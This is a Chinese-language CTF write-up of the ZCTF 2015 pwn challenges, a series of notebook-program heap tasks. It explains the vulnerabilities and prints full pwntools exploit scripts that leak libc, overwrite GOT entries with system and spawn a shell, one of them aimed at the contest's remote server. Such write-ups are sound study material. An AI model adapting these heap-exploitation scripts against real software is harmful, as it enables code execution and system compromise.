ZCTF2015 pwn试题分析
ZCTF的pwn赛题分析，
PWN100
这道题与SCTF的pwn100玩法是一样的，区别在于这个要过前面的几个限制条件。不能触发exit(0)。否则就不能实现溢出了。
依然是触发canary来leak出内存中的flag。
note1
这次ZCTF的题是以一个系列出的，以下三个题都是同一个程序。
首先看了一下程序的大概流程，这个是记事本程序。
1.New note\n
2.Show notes list\n
3.Edit note\n
4.Delete note\n
5.Quit\noption--->>
有这么5个选项。
程序也是通过5个单独的函数来实现的，
分别对应了这几个选项。
程序不是简单的通过一个空间去储存数据的，而是把数据块组成了一个链表。
通过sub_400989也就是New note功能我们可以看到每个块的结构。
通过这张图我们可以看到
这个块的结构应该是
struct data
{
QWORD Link1;//8byte前向指针
QWORD Link2;//8byte后向指针
byte title[64];//偏移16~80byte处存储title的字符串
byte type[32];//偏移80~112byte处储存type的字符串
byte content[256];//偏移112~368byte处储存正文的字符串
}
正好就是分配的堆的0x170=368个字节，充分利用了。
我这里偷了一下懒，知道note1的洞是在3号edit功能中了。
看一下，可以发现是很简单的遍历链表判断名字是不是自己想要的，那么漏洞也只会是这个了。
堆在分配的时候一共才368个字节，而留给context的是256个字节。到这里猜想就是类似于堆溢出一样的DWORD SHOOT了，但是要看下释放机制，如果释放函数处理不当的话就会造成任意地址写的漏洞。
如上图，果然是dword shoot这种东西。只要伪造一个前向指针和后向指针就可以了。
但是这道题的意思是要leak一下地址，libc也给出了。
方法就是用show note这个功能来leak，因为它有一个遍历链表的过程，也是通过溢出去覆盖下一个块的指针就可以了。
payload='A'*256 + 'A'*8 + l64(0x0) + l64(0x602040-0x70)+'d'
这样，当调用show功能时，就会leak出地址了。
但是更改时，并没有用删除note断链来任意地址写，而是用了edit的功能来实现任意写，其实我觉得用unlink也是可以的。
note2
这道题是分值最高的一道，也确实是很够分量的。new和show功能写的都很简单，edit功能却有点门道在里面。
1 __int64 sub_400D43() 2 { 3 void *Temp_Buf; // rax@13 4 void *Temp_Buf3; // rbx@13 5 int v3; // [sp+8h] [bp-E8h]@3 6 int v4; // [sp+Ch] [bp-E4h]@7 7 char *src; // [sp+10h] [bp-E0h]@5 8 __int64 size; // [sp+18h] [bp-D8h]@5 9 char local_buf; // [sp+20h] [bp-D0h]@11 10 void *Temp_Buf2; // [sp+A0h] [bp-50h]@13 11 __int64 v9; // [sp+D8h] [bp-18h]@1 12 13 v9 = *MK_FP(__FS__, 40LL); 14 if ( NumOfChunk ) 15 { 16 puts("Input the id of the note:"); 17 v3 = GetNumber(); 18 if ( v3 >= 0 && v3 <= 3 ) 19 { 20 src = (char *)*(&Pointer + v3); 21 size = SizeOfChunk[v3]; 22 if ( src ) 23 { 24 puts("do you want to overwrite or append?[1.overwrite/2.append]"); 25 v4 = GetNumber(); 26 if ( v4 == 1 || v4 == 2 ) 27 { 28 if ( v4 == 1 ) 29 local_buf = 0; 30 else 31 strcpy(&local_buf, src); 32 Temp_Buf = malloc(160uLL); 33 Temp_Buf2 = Temp_Buf; 34 *(_QWORD *)Temp_Buf = 'oCweNehT'; 35 *((_QWORD *)Temp_Buf + 1) = ':stnetn'; 36 printf((const char *)Temp_Buf2); 37 GetInput((__int64)((char *)Temp_Buf2 + 15), 144LL, 10); 38 CleanTheInput((const char *)Temp_Buf2 + 15); 39 Temp_Buf3 = Temp_Buf2; 40 *((_BYTE *)Temp_Buf3 + size - strlen(&local_buf) + 14) = 0; 41 strncat(&local_buf, (const char *)Temp_Buf2 + 15, 0xFFFFFFFFFFFFFFFFLL); 42 strcpy(src, &local_buf); 43 free(Temp_Buf2); 44 puts("Edit note success!"); 45 } 46 else 47 { 48 puts("Error choice!"); 49 } 50 } 51 else 52 { 53 puts("note has been deleted"); 54 } 55 } 56 } 57 else 58 { 59 puts("Please add a note!"); 60 } 61 return *MK_FP(__FS__, 40LL) ^ v9; 62 }
40和41行写的很有意思，刚开始没理解是什么意义，尤其是还有个减的操作，跟着调试几次发现了原来这么写是为了防止写入溢出的。+ size - strlen(&local_buf)是在计算这个块还能容纳多少字节。然后再写个0上去。
事实上，这道题看不出有什么明显的漏洞，这也是我说这道题有分量的原因。当我们在new的时候，给大小指定为0。那么size数组中记录的大小就也会为0。这样就会溢出掉下一个堆块。
经过调试发现malloc(0)会分配
1 #!/usr/bin/env python 2 # -*- coding: utf-8 -*- 3 from pwn import * 4 #io = process('./note2') 5 io = remote('115.28.27.103', 9002) 6 atoi_off = 0x39F50 7 system_off = 0x46640 8 def addnote(length,content): 9 global io 10 print io.recvuntil('option--->>') 11 io.sendline('1') 12 print io.recvuntil(')') 13 io.sendline(str(length)) 14 print io.recvuntil(':') 15 io.sendline(content) 16 return 17 18 def delnote(id): 19 global io 20 print io.recvuntil('option--->>') 21 io.sendline('4') 22 print io.recvuntil(':') 23 io.sendline(str(id)) 24 return 25 26 def editnote(id,oa,content): 27 global io 28 print io.recvuntil('option--->>') 29 io.sendline('3') 30 print io.recvuntil(':') 31 io.sendline(str(id)) 32 print io.recvuntil(']') 33 io.sendline(str(oa)) 34 print io.recvuntil(':') 35 io.sendline(content) 36 return 37 def main(): 38 name = 0x20*'\x00'+p64(0)+p64(0x91)+(0x8)*'\x00' # fake chunks 39 address = '\x00'*0x10+p64(0)+p64(0x31)+0x20*'\x00'+p64(0)+p64(0x21) # fake chunks 40 #raw_input('Attach now!') 41 print io.recvuntil(':') 42 io.sendline(name) 43 print io.recvuntil(':') 44 io.sendline(address) 45 46 k = 127 47 # find a way to free 0x602110 48 addnote(128,'bbb') 49 addnote(0,'aaa') # '0' bypasses everthing :> 50 addnote(128,'cccc') 51 # ????? why always 39 chars appended????? but not in online env,,, 52 # somekind of strncat bug? 53 editnote(1,1,39*'a') # 39 added per append 54 editnote(1,2,39*'b') # 78 55 editnote(1,2,39*'c') # 117 56 editnote(1,2,10*'d') 57 58 editnote(1,2,'a'*(128-k)+p64(0x602110)) 59 addnote(128,0x10*'a'+p64(0x602088)) 60 print io.recvuntil('option--->>') 61 io.sendline('2') 62 print io.recvuntil(':') 63 io.sendline('0') 64 print io.recvuntil('is ') 65 buf = io.recvuntil('\n')[:-1] + '\x00\x00' 66 atoi = u64(buf) 67 libc_base = atoi - atoi_off 68 log.success('Libc Base = ' + hex(libc_base)) 69 system = libc_base + system_off 70 editnote(0,1,p64(system)) 71 72 print io.recvuntil('option--->>') 73 io.sendline('/bin/sh') 74 75 io.interactive() 76 77 return 0 78 if __name__ == '__main__': 79 main()
我们可以看到是分两步完成的
1.leak 内存（任一个函数的地址，用来算出偏移）
2.修改got表
从这个角度来说思路很清晰。来看看是怎么做的吧
首先是leak内存，这是从exp中抽取出来的leak内存的部分
1 name = 0x20*'\x00'+p64(0)+p64(0x91)+(0x8)*'\x00' # fake chunks 要48byte才行 2 address = '\x00'*0x10+p64(0)+p64(0x31)+0x20*'\x00'+p64(0)+p64(0x21) # fake chunks 3 io.sendline(name) 4 io.sendline(address)#设置两个bss段中的内容 5 k = 127 6 # find a way to free 0x602110 7 addnote(128,'bbb') 8 addnote(0,'aaa') # '0' bypasses everthing :> 9 addnote(128,'cccc') 10 # ????? why always 39 chars appended????? but not in online env,,, 11 # some kind of strncat bug? 12 editnote(1,1,39*'a') # 39 added per append #为啥要是1号块？这不是一个空块吗？ 13 editnote(1,2,39*'b') # 78 #只是为了释放0x602110 14 editnote(1,2,39*'c') # 117 15 editnote(1,2,10*'d') # 127 16 #D0-50=128个字节 17 editnote(1,2,'a'*(128-k)+p64(0x602110)) 18 addnote(128,0x10*'a'+p64(0x602088)) 19 20 io.sendline('2') #直接调用2号show功能leak出内存了 21 io.sendline('0')
思路是用bss段中的name缓冲区伪造一个堆，堆结构如下
0x0|0x91|内容
为什么要构造一个堆呢？
因为伪造这个堆之后释放这个伪造的堆，以后再分配一个堆时，得到的还是这个伪造的堆。
name = 0x20*'\x00'+p64(0)+p64(0x91)+(0x8)*'\x00' # fake chunks 要48byte才行
address = '\x00'*0x10+p64(0)+p64(0x31)+0x20*'\x00'+p64(0)+p64(0x21) # fake chunks
io.sendline(name)
io.sendline(address)#设置两个bss段中的内容
这是在伪造堆
addnote(128,'bbb')
addnote(0,'aaa') # '0' bypasses everthing :>
addnote(128,'cccc')
# ????? why always 39 chars appended????? but not in online env,,,
# some kind of strncat bug?
editnote(1,1,39*'a') # 39 added per append #为啥要是1号块？这不是一个空块吗？
editnote(1,2,39*'b') # 78 #只是为了释放0x602110
editnote(1,2,39*'c') # 117
editnote(1,2,10*'d') # 127
#D0-50=128个字节
editnote(1,2,'a'*(128-k)+p64(0x602110))
用栈溢出来释放伪造的堆
addnote(128,0x10*'a'+p64(0x602088))
利用分配堆重新获得伪造的堆，并溢出ptr
因为这是内存布局导致的
ptr正好在伪造堆块下面，刚好会被盖住
然后就利用这个来leak got表内容，如exp所写的
io.sendline('2') #直接调用2号show功能leak出内存了
io.sendline('0')
由于前面用atoi盖住了got表的地址，所以直接edit操作就可以改写atoi的got表。exp里把它改写成system的地址
然后就可以了。
editnote(0,1,p64(system))
最后总结一下这个题，这个题本质上是由于bss段内存布局的问题去覆盖指针的，实质上并不是常规的那几种堆的漏洞。
伪造堆主要是为了可以重新获得这块内存，然后加以编辑。其实并不是堆的漏洞，只是借堆来实现覆盖bss段中的指针。
note3
这个题的入手点就是一个整型溢出。这个是我看writeup才知道的，因为实在没找到哪里有整型溢出，看了一下writeup，居然是获取输入数字的函数有溢出。
这道题一开始没看明白是什么意思，后来着重研究了一下add note函数，才明白是什么意思，原来又是坑爹的内存布局导致的问题。
注意红色的部分，有没有觉得这个写法很怪？这不是F5插件的问题，程序就是这么写的。相当坑爹，我们来看看bss段的情况吧。
这个就是bss段的布局，忽略数据单位因为我不知道在ida里怎么都转成同一的单位。看看他是怎么布局的
- qword_6020c0
- 最后增加（或编辑）的块的指针
- ptr
- 块的指针数组
- 块的大小数组
坑爹就坑爹在这，这也是整数溢出派上用场的地方。
溢出成-1后，正常的
sub_4008DD((__int64)*(&ptr + v3), qword_6020C0[v3 + 8], 10);
就成了：向最后增加的块，写入超大长度的数据(把指针当成整数来处理，当然是特别特别大了)
那么，截至到目前为止，我们做的这些事情的目的都是什么呢？答案是造成堆溢出，然后构造伪造堆块。其实截至目前我们做的都是为了得到堆溢出，因为正常情况下都会验证长度是没有办法使堆溢出的，我们分析了半天就是想办法造成了堆溢出。
有了堆溢出，一切都明朗起来了，因为接下来就是套路了，就像我在note2里写的那样。伪造一个空堆，释放相邻的堆，引发空堆合并，触发unlink宏。
一切都清晰了~
我那Nu1L的exp来说下具体的流程吧
1 malloc(512,'/bin/sh\0') 2 malloc(512,'/bin/sh\0') 3 malloc(512,'/bin/sh\0') 4 malloc(512,'/bin/sh\0') 5 malloc(512,'/bin/sh\0') 6 malloc(512,'/bin/sh\0') 7 malloc(512,p64(0x400ef8)) 8 malloc(512,'/bin/sh\0') 9 # 2. make a fake chunk and modify the next chunk's pre size 10 fakechunk = p64(0) + p64(512+1) + p64(0x6020e0-0x18) + p64(0x6020e0-0x10) + 'A'*(512-32) + p64(512) + p64(512+16) 11 #ptr中的地址作为伪堆块 12 edit(3,'aaaaaa') 13 edit(intoverflow,fakechunk) 14 # 3. double free 15 free(4) 16 # 4. overwrite got 17 edit(3,free_got) 18 edit(0,printf_plt+printf_plt) 19 # 5. leak the stack data 20 edit(3,p64(0x6020e8)) 21 edit(0,'%llx.'*30) 22 #free->puts 23 24 conn.sendline('4') 25 26 conn.sendline(str(0)) 27 28 ret = conn.recvuntil('success') 29 30 # 6. calcuate the system's addr 31 libcstart = ret.split('.')[10] 32 libcstart_2 = int(libcstart,16) - libcstartmain_ret_off 33 34 system_addr = libcstart_2 + sys_off 35 36 # 7. overwrite free's got 37 edit(3,free_got) 38 edit(0,p64(system_addr)+printf_plt) 39 # 8. write argv 40 edit(3,p64(0x6020d0)) 41 edit(0,'/bin/sh\0') 42 # 9. exploit 43 44 conn.sendline('4') 45 46 conn.sendline(str(0)) 47 sleep(0.2) 48 conn.interactive()
具体的实现代码都删了，想看可以在FreeBuf找到，只看流程。
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,p64(0x400ef8))
malloc(512,'/bin/sh\0')
分配8个堆，malloc就是个自己实现的python函数，调用add功能的
fakechunk = p64(0) + p64(512+1) + p64(0x6020e0-0x18) + p64(0x6020e0-0x10) + 'A'*(512-32) + p64(512) + p64(512+16)
edit(3,'aaaaaa')
edit(intoverflow,fakechunk)
对3号块进行编辑，是为了是它成为最后编辑的，让3号块的地址进入qword_6020c0[0]，待会就会往这里写了。intoverflow是整数溢出造成的-1。-1有啥用上面已经说过了。
看下伪造堆块的情况吧
0|513|0x6020e0-0x18|0x6020e0-0x10|'A'*(512-32)
0说明前块正在使用中，513说明此块大小是512byte而且是空闲的，0x6020e0是用来过unlink check的
512|512+16
这个就是覆盖了下一个堆块的头了，也就是所说的堆溢出了。
注意512是前块的大小，这个值不为0说明前块为空。512+16中的512是当前块的大小而16是什么呢？
free(4)
释放触发了unlink宏，因为空块合并的原则。
